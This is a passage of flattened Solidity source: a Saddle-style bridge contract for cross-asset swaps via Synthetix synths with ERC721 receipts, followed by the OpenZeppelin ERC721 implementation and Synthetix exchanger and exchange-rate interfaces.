_settle( address(pendingToSynthSwap.swapper), pendingToSynthSwap.synthKey ); IERC20 synth = getProxyAddressFromTargetSynthKey( pendingToSynthSwap.synthKey ); // Burn the corresponding ERC721 token and delete storage for gas _burn(itemId); delete pendingToTokenSwaps[itemId]; delete pendingSwapType[itemId]; // After settlement, withdraw the synth and send it to the recipient uint256 synthBalance = synth.balanceOf( address(pendingToSynthSwap.swapper) ); pendingToSynthSwap.swapper.withdraw( synth, nftOwner, synthBalance, true ); emit Settle( msg.sender, itemId, synth, synthBalance, synth, synthBalance, true ); } /** * @notice Calculates the expected amount of the token to receive on calling `completeToToken()` with * the given `swapAmount`. * @param itemId ERC721 token ID representing a pending `SynthToToken` or `TokenToToken` swap * @param swapAmount the amount of bridging synth to swap from * @return expected amount of the token the user will receive */ function calcCompleteToToken(uint256 itemId, uint256 swapAmount) external view returns (uint256) { require( pendingSwapType[itemId] > PendingSwapType.TokenToSynth, "invalid itemId" ); PendingToTokenSwap memory pendingToTokenSwap = pendingToTokenSwaps[ itemId ]; return pendingToTokenSwap.swap.calculateSwap( getSynthIndex(pendingToTokenSwap.swap), pendingToTokenSwap.tokenToIndex, swapAmount ); } /** * @notice Completes the pending `SynthToToken` or `TokenToToken` swap by settling the bridging synth and swapping * it to the desired token. Only the owners of the pending swaps can call this function. * @param itemId ERC721 token ID representing a pending `SynthToToken` or `TokenToToken` swap * @param swapAmount the amount of bridging synth to swap from * @param minAmount the minimum amount of the token to receive - reverts if this amount is not reached * @param deadline the timestamp representing the deadline for this transaction - reverts if deadline is not met */ function completeToToken( uint256 itemId, uint256 swapAmount, uint256 minAmount, uint256 deadline ) external { require(swapAmount != 0, "amount must be greater than 0"); address nftOwner = ownerOf(itemId); require(msg.sender == nftOwner, "must own itemId"); require( pendingSwapType[itemId] > PendingSwapType.TokenToSynth, "invalid itemId" ); PendingToTokenSwap memory pendingToTokenSwap = pendingToTokenSwaps[ itemId ]; _settle( address(pendingToTokenSwap.swapper), pendingToTokenSwap.synthKey ); IERC20 synth = getProxyAddressFromTargetSynthKey( pendingToTokenSwap.synthKey ); bool shouldDestroyClone; if ( swapAmount >= synth.balanceOf(address(pendingToTokenSwap.swapper)) ) { _burn(itemId); delete pendingToTokenSwaps[itemId]; delete pendingSwapType[itemId]; shouldDestroyClone = true; } // Try swapping the synth to the desired token via the stored swap pool contract // If the external call succeeds, send the token to the owner of token with itemId. (IERC20 tokenTo, uint256 amountOut) = pendingToTokenSwap .swapper .swapSynthToToken( pendingToTokenSwap.swap, synth, getSynthIndex(pendingToTokenSwap.swap), pendingToTokenSwap.tokenToIndex, swapAmount, minAmount, deadline, nftOwner ); if (shouldDestroyClone) { pendingToTokenSwap.swapper.destroy(); } emit Settle( msg.sender, itemId, synth, swapAmount, tokenTo, amountOut, shouldDestroyClone ); } // Add the given pending synth settlement struct to the list function _addToPendingSynthSwapList( PendingToSynthSwap memory pendingToSynthSwap ) internal returns (uint256) { require( pendingSwapsLength < MAX_UINT256, "pendingSwapsLength reached max size" ); pendingToSynthSwaps[pendingSwapsLength] = pendingToSynthSwap; return pendingSwapsLength++; } // Add the given pending synth to token settlement struct to the list function _addToPendingSynthToTokenSwapList( PendingToTokenSwap memory pendingToTokenSwap ) internal returns (uint256) { require( pendingSwapsLength < MAX_UINT256, "pendingSwapsLength reached max size" ); pendingToTokenSwaps[pendingSwapsLength] = pendingToTokenSwap; return pendingSwapsLength++; } /** * @notice Calculates the expected amount of the desired synthetic asset the caller will receive after completing * a `TokenToSynth` swap with the given parameters. This calculation does not consider the settlement periods. * @param swap the address of a Saddle pool to use to swap the given token to a bridging synth * @param tokenFromIndex the index of the token to swap from * @param synthOutKey the currency key of the desired synthetic asset * @param tokenInAmount the amount of the token to swap form * @return the expected amount of the desired synth */ function calcTokenToSynth( ISwap swap, uint8 tokenFromIndex, bytes32 synthOutKey, uint256 tokenInAmount ) external view returns (uint256) { uint8 mediumSynthIndex = getSynthIndex(swap); uint256 expectedMediumSynthAmount = swap.calculateSwap( tokenFromIndex, mediumSynthIndex, tokenInAmount ); bytes32 mediumSynthKey = getSynthKey(swap); IExchangeRates exchangeRates = IExchangeRates( SYNTHETIX_RESOLVER.getAddress(EXCHANGE_RATES_NAME) ); return exchangeRates.effectiveValue( mediumSynthKey, expectedMediumSynthAmount, synthOutKey ); } /** * @notice Initiates a cross-asset swap from a token supported in the `swap` pool to any synthetic asset. * The caller will receive an ERC721 token representing their ownership of the pending cross-asset swap. * @param swap the address of a Saddle pool to use to swap the given token to a bridging synth * @param tokenFromIndex the index of the token to swap from * @param synthOutKey the currency key of the desired synthetic asset * @param tokenInAmount the amount of the token to swap form * @param minAmount the amount of the token to swap form * @return ID of the ERC721 token sent to the caller */ function tokenToSynth( ISwap swap, uint8 tokenFromIndex, bytes32 synthOutKey, uint256 tokenInAmount, uint256 minAmount ) external returns (uint256) { require(tokenInAmount != 0, "amount must be greater than 0"); // Create a SynthSwapper clone SynthSwapper synthSwapper = SynthSwapper( Clones.clone(SYNTH_SWAPPER_MASTER) ); synthSwapper.initialize(); // Add the synthswapper to the pending settlement list uint256 itemId = _addToPendingSynthSwapList( PendingToSynthSwap(synthSwapper, synthOutKey) ); pendingSwapType[itemId] = PendingSwapType.TokenToSynth; // Mint an ERC721 token that represents ownership of the pending synth settlement to msg.sender _mint(msg.sender, itemId); // Transfer token from msg.sender IERC20 tokenFrom = swapContracts[address(swap)].tokens[tokenFromIndex]; // revert when token not found in swap pool tokenFrom.safeTransferFrom(msg.sender, address(this), tokenInAmount); tokenInAmount = tokenFrom.balanceOf(address(this)); // Swap the synth to the medium synth uint256 mediumSynthAmount = swap.swap( tokenFromIndex, getSynthIndex(swap), tokenInAmount, 0, block.timestamp ); // Swap synths via Synthetix network IERC20(getSynthAddress(swap)).safeTransfer( address(synthSwapper), mediumSynthAmount ); require( synthSwapper.swapSynth( getSynthKey(swap), mediumSynthAmount, synthOutKey ) >= minAmount, "minAmount not reached" ); // Emit TokenToSynth event with relevant data emit TokenToSynth( msg.sender, itemId, swap, tokenFromIndex, tokenInAmount, synthOutKey ); return (itemId); } /** * @notice Calculates the expected amount of the desired token the caller will receive after completing * a `SynthToToken` swap with the given parameters. This calculation does not consider the settlement periods or * any potential changes of the `swap` pool composition. * @param swap the address of a Saddle pool to use to swap the given token to a bridging synth * @param synthInKey the currency key of the synth to swap from * @param tokenToIndex the index of the token to swap to * @param synthInAmount the amount of the synth to swap form * @return the expected amount of the bridging synth and the expected amount of the desired token */ function calcSynthToToken( ISwap swap, bytes32 synthInKey, uint8 tokenToIndex, uint256 synthInAmount ) external view returns (uint256, uint256) { IExchangeRates exchangeRates = IExchangeRates( SYNTHETIX_RESOLVER.getAddress(EXCHANGE_RATES_NAME) ); uint8 mediumSynthIndex = getSynthIndex(swap); bytes32 mediumSynthKey = getSynthKey(swap); require(synthInKey != mediumSynthKey, "use normal swap"); uint256 expectedMediumSynthAmount = exchangeRates.effectiveValue( synthInKey, synthInAmount, mediumSynthKey ); return ( expectedMediumSynthAmount, swap.calculateSwap( mediumSynthIndex, tokenToIndex, expectedMediumSynthAmount ) ); } /** * @notice Initiates a cross-asset swap from a synthetic asset to a supported token. The caller will receive * an ERC721 token representing their ownership of the pending cross-asset swap. * @param swap the address of a Saddle pool to use to swap the given token to a bridging synth * @param synthInKey the currency key of the synth to swap from * @param tokenToIndex the index of the token to swap to * @param synthInAmount the amount of the synth to swap form * @param minMediumSynthAmount the minimum amount of the bridging synth at pre-settlement stage * @return the ID of the ERC721 token sent to the caller */ function synthToToken( ISwap swap, bytes32 synthInKey, uint8 tokenToIndex, uint256 synthInAmount, uint256 minMediumSynthAmount ) external returns (uint256) { require(synthInAmount != 0, "amount must be greater than 0"); bytes32 mediumSynthKey = getSynthKey(swap); require( synthInKey != mediumSynthKey, "synth is supported via normal swap" ); // Create a SynthSwapper clone SynthSwapper synthSwapper = SynthSwapper( Clones.clone(SYNTH_SWAPPER_MASTER) ); synthSwapper.initialize(); // Add the synthswapper to the pending synth to token settlement list uint256 itemId = _addToPendingSynthToTokenSwapList( PendingToTokenSwap(synthSwapper, mediumSynthKey, swap, tokenToIndex) ); pendingSwapType[itemId] = PendingSwapType.SynthToToken; // Mint an ERC721 token that represents ownership of the pending synth to token settlement to msg.sender _mint(msg.sender, itemId); // Receive synth from the user and swap it to another synth IERC20 synthFrom = getProxyAddressFromTargetSynthKey(synthInKey); synthFrom.safeTransferFrom(msg.sender, address(this), synthInAmount); synthFrom.safeTransfer(address(synthSwapper), synthInAmount); require( synthSwapper.swapSynth(synthInKey, synthInAmount, mediumSynthKey) >= minMediumSynthAmount, "minMediumSynthAmount not reached" ); // Emit SynthToToken event with relevant data emit SynthToToken( msg.sender, itemId, swap, synthInKey, synthInAmount, tokenToIndex ); return (itemId); } /** * @notice Calculates the expected amount of the desired token the caller will receive after completing * a `TokenToToken` swap with the given parameters. This calculation does not consider the settlement periods or * any potential changes of the pool compositions. * @param swaps the addresses of the two Saddle pools used to do the cross-asset swap * @param tokenFromIndex the index of the token in the first `swaps` pool to swap from * @param tokenToIndex the index of the token in the second `swaps` pool to swap to * @param tokenFromAmount the amount of the token to swap from * @return the expected amount of bridging synth at pre-settlement stage and the expected amount of the desired * token */ function calcTokenToToken( ISwap[2] calldata swaps, uint8 tokenFromIndex, uint8 tokenToIndex, uint256 tokenFromAmount ) external view returns (uint256, uint256) { IExchangeRates exchangeRates = IExchangeRates( SYNTHETIX_RESOLVER.getAddress(EXCHANGE_RATES_NAME) ); uint256 firstSynthAmount = swaps[0].calculateSwap( tokenFromIndex, getSynthIndex(swaps[0]), tokenFromAmount ); uint256 mediumSynthAmount = exchangeRates.effectiveValue( getSynthKey(swaps[0]), firstSynthAmount, getSynthKey(swaps[1]) ); return ( mediumSynthAmount, swaps[1].calculateSwap( getSynthIndex(swaps[1]), tokenToIndex, mediumSynthAmount ) ); } /** * @notice Initiates a cross-asset swap from a token in one Saddle pool to one in another. The caller will receive * an ERC721 token representing their ownership of the pending cross-asset swap. * @param swaps the addresses of the two Saddle pools used to do the cross-asset swap * @param tokenFromIndex the index of the token in the first `swaps` pool to swap from * @param tokenToIndex the index of the token in the second `swaps` pool to swap to * @param tokenFromAmount the amount of the token to swap from * @param minMediumSynthAmount the minimum amount of the bridging synth at pre-settlement stage * @return the ID of the ERC721 token sent to the caller */ function tokenToToken( ISwap[2] calldata swaps, uint8 tokenFromIndex, uint8 tokenToIndex, uint256 tokenFromAmount, uint256 minMediumSynthAmount ) external returns (uint256) { // Create a SynthSwapper clone require(tokenFromAmount != 0, "amount must be greater than 0"); SynthSwapper synthSwapper = SynthSwapper( Clones.clone(SYNTH_SWAPPER_MASTER) ); synthSwapper.initialize(); bytes32 mediumSynthKey = getSynthKey(swaps[1]); // Add the synthswapper to the pending synth to token settlement list uint256 itemId = _addToPendingSynthToTokenSwapList( PendingToTokenSwap( synthSwapper, mediumSynthKey, swaps[1], tokenToIndex ) ); pendingSwapType[itemId] = PendingSwapType.TokenToToken; // Mint an ERC721 token that represents ownership of the pending swap to msg.sender _mint(msg.sender, itemId); // Receive token from the user ISwap swap = swaps[0]; { IERC20 tokenFrom = swapContracts[address(swap)].tokens[ tokenFromIndex ]; tokenFrom.safeTransferFrom( msg.sender, address(this), tokenFromAmount ); } uint256 firstSynthAmount = swap.swap( tokenFromIndex, getSynthIndex(swap), tokenFromAmount, 0, block.timestamp ); // Swap the synth to another synth IERC20(getSynthAddress(swap)).safeTransfer( address(synthSwapper), firstSynthAmount ); require( synthSwapper.swapSynth( getSynthKey(swap), firstSynthAmount, mediumSynthKey ) >= minMediumSynthAmount, "minMediumSynthAmount not reached" ); // Emit TokenToToken event with relevant data emit TokenToToken( msg.sender, itemId, swaps, tokenFromIndex, tokenFromAmount, tokenToIndex ); return (itemId); } /** * @notice Registers the index and the address of the supported synth from the given `swap` pool. The matching currency key must * be supplied for a successful registration. * @param swap the address of the pool that contains the synth * @param synthIndex the index of the supported synth in the given `swap` pool * @param currencyKey the currency key of the synth in bytes32 form */ function setSynthIndex( ISwap swap, uint8 synthIndex, bytes32 currencyKey ) external { require(synthIndex < MAX_UINT8, "index is too large"); SwapContractInfo storage swapContractInfo = swapContracts[ address(swap) ]; // Check if the pool has already been added require(swapContractInfo.synthIndexPlusOne == 0, "Pool already added"); // Ensure the synth with the same currency key exists at the given `synthIndex` IERC20 synth = swap.getToken(synthIndex); require( ISynth(Proxy(address(synth)).target()).currencyKey() == currencyKey, "currencyKey does not match" ); swapContractInfo.synthIndexPlusOne = synthIndex + 1; swapContractInfo.synthAddress = address(synth); swapContractInfo.synthKey = currencyKey; swapContractInfo.tokens = new IERC20[](0); for (uint8 i = 0; i < MAX_UINT8; i++) { IERC20 token; if (i == synthIndex) { token = synth; } else { try swap.getToken(i) returns (IERC20 token_) { token = token_; } catch { break; } } swapContractInfo.tokens.push(token); token.safeApprove(address(swap), MAX_UINT256); } emit SynthIndex(address(swap), synthIndex, currencyKey, address(synth)); } /** * @notice Returns the index of the supported synth in the given `swap` pool. Reverts if the `swap` pool * is not registered. * @param swap the address of the pool that contains the synth * @return the index of the supported synth */ function getSynthIndex(ISwap swap) public view returns (uint8) { uint8 synthIndexPlusOne = swapContracts[address(swap)] .synthIndexPlusOne; require(synthIndexPlusOne > 0, "synth index not found for given pool"); return synthIndexPlusOne - 1; } /** * @notice Returns the address of the supported synth in the given `swap` pool. Reverts if the `swap` pool * is not registered. * @param swap the address of the pool that contains the synth * @return the address of the supported synth */ function getSynthAddress(ISwap swap) public view returns (address) { address synthAddress = swapContracts[address(swap)].synthAddress; require( synthAddress != address(0), "synth addr not found for given pool" ); return synthAddress; } /** * @notice Returns the currency key of the supported synth in the given `swap` pool. Reverts if the `swap` pool * is not registered. * @param swap the address of the pool that contains the synth * @return the currency key of the supported synth */ function getSynthKey(ISwap swap) public view returns (bytes32) { bytes32 synthKey = swapContracts[address(swap)].synthKey; require(synthKey != 0x0, "synth key not found for given pool"); return synthKey; } /** * @notice Updates the stored address of the `EXCHANGER` contract. When the Synthetix team upgrades their protocol, * a new Exchanger contract is deployed. This function manually updates the stored address. */ function updateExchangerCache() public { exchanger = IExchanger(SYNTHETIX_RESOLVER.getAddress(EXCHANGER_NAME)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC721.sol"; import "./IERC721Metadata.sol"; import "./IERC721Enumerable.sol"; import "./IERC721Receiver.sol"; import "../../introspection/ERC165.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; import "../../utils/EnumerableSet.sol"; import "../../utils/EnumerableMap.sol"; import "../../utils/Strings.sol"; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } /** * @dev Approve `to` to operate on `tokenId` * * Emits an {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } pragma solidity >=0.4.24; // https://docs.synthetix.io/contracts/source/interfaces/iaddressresolver interface IAddressResolver { function getAddress(bytes32 name) external view returns (address); function getSynth(bytes32 key) external view returns (address); function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address); } pragma solidity >=0.4.24; import "./IVirtualSynth.sol"; // https://docs.synthetix.io/contracts/source/interfaces/iexchanger interface IExchanger { // Views function calculateAmountAfterSettlement( address from, bytes32 currencyKey, uint amount, uint refunded ) external view returns (uint amountAfterSettlement); function isSynthRateInvalid(bytes32 currencyKey) external view returns (bool); function maxSecsLeftInWaitingPeriod(address account, bytes32 currencyKey) external view returns (uint); function settlementOwing(address account, bytes32 currencyKey) external view returns ( uint reclaimAmount, uint rebateAmount, uint numEntries ); function hasWaitingPeriodOrSettlementOwing(address account, bytes32 currencyKey) external view returns (bool); function feeRateForExchange(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view returns (uint exchangeFeeRate); function getAmountsForExchange( uint sourceAmount, bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey ) external view returns ( uint amountReceived, uint fee, uint exchangeFeeRate ); function priceDeviationThresholdFactor() external view returns (uint); function waitingPeriodSecs() external view returns (uint); // Mutative functions function exchange( address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address destinationAddress ) external returns (uint amountReceived); function exchangeOnBehalf( address exchangeForAddress, address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external returns (uint amountReceived); function exchangeWithTracking( address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address destinationAddress, address originator, bytes32 trackingCode ) external returns (uint amountReceived); function exchangeOnBehalfWithTracking( address exchangeForAddress, address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address originator, bytes32 trackingCode ) external returns (uint amountReceived); function exchangeWithVirtual( address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address destinationAddress, bytes32 trackingCode ) external returns (uint amountReceived, IVirtualSynth vSynth); function settle(address from, bytes32 currencyKey) external returns ( uint reclaimed, uint refunded, uint numEntries ); function setLastExchangeRateForSynth(bytes32 currencyKey, uint rate) external; function suspendSynthWithInvalidRate(bytes32 currencyKey) external; } pragma solidity >=0.4.24; // https://docs.synthetix.io/contracts/source/interfaces/iexchangerates interface IExchangeRates { // Structs struct RateAndUpdatedTime { uint216 rate; uint40 time; } struct InversePricing { uint entryPoint; uint upperLimit; uint lowerLimit; bool frozenAtUpperLimit; bool frozenAtLowerLimit; } // Views function aggregators(bytes32 currencyKey) external view returns (address); function aggregatorWarningFlags() external view returns (address); function anyRateIsInvalid(bytes32[] calldata currencyKeys) external view returns (bool); function canFreezeRate(bytes32 currencyKey) external view returns (bool); function currentRoundForRate(bytes32 currencyKey) external view returns (uint); function currenciesUsingAggregator(address aggregator) external view returns (bytes32[] memory); function effectiveValue( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 